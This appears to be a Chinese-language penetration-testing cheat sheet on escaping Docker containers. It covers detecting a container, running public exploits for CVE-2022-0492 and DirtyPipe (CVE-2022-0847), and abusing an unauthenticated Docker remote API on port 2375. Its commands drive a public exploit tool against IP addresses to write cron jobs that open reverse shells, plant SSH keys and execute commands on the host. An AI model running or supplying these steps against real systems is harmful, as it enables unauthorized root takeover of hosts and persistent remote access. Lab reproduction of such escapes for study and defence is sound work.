Docker-逃逸-LINux内核漏洞 #
如何判断在不在docker环境 #
1.cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2.检查/.dockerenv文件
3.检查mount信息
4.查看硬盘 fdisk -l
如果测试了特权不行,socket,挂载都没有,就测试docker漏洞,内核漏洞,翻数据库文件找和主目录有交集的文件
如果是JAVA应用你进去就是ROOT 就考虑逃逸
如果是WWW那么还要加一步提权到ROOT 再到逃逸
LINUX内核漏洞 CVE-2022-0492 #
影响版本: linux kernel 5.17-rc3
漏洞危害: 当容器没有开启额外安全措施时,获得容器内root权限即可逃逸到宿主机
下载POC解压创建一个有缺陷的DOCKER上传执行EXP
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
docker cp exp.sh 11e84a3b3d90:/ 复制上传 如果真实环境就下载wget啊什么的
chmod 777 exp.sh
./exp.sh "cat /etc/passwd"
内核漏洞-CVE-2022-0847 #
影响版本: 高于5.8的Linux内核版本会受到影响
漏洞危害:攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权root
复现环境:Ubuntu 16.04 X64
参考:
wiki.teamssix.com/CloudNative/Docker/CVE-2022-0847.html
利用:github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
CVE-2022-0847-DirtyPipe-Exploits-main 上传里面三个文件编译执行
docker run -itd ubuntu:latest 启动镜像
apt-get update更新
apt-get install gcc 如果编译完上传上去可能有版本差异
生成文件来执行
Docker远程 API未授权访问逃逸 #
当Docker守护进程被配置为监听网络端口(通常是TCP端口2375)且未启用适当的身份验证机制时,攻击者可以未经授权访问Docker API。利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。
通常端口是2375
原理通过未授权创建容器挂载后往计划任务写入反弹shell
不同环境计划任务不同 不同系统可能反弹命令不同
使用dockerRemoteApiGetRootShell攻击 项目如下 需要python2来运行
反弹需要镜像名字但是这个靶场可能环境有问题
复现环境:http://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
利用项目:https://github.com/xiju2003/dockerRemoteApiGetRootShell-fix
##安装类库
pip install -r requirements.txt
##查看运行的容器
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375
##查看所有的容器
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -a
##查看所有镜像
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -l
##查看端口映射
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -L
##写计划任务(centos,redhat等,加-u参数用于ubuntu等)
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口
##写sshkey(自行修改脚本的中公钥)
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -k
##在容器中执行命令
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -e "id" -I 容器id
##删除容器
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -c -I 容器id
##修改client api版本
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -v 1.22
##查看服务端api版本
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -V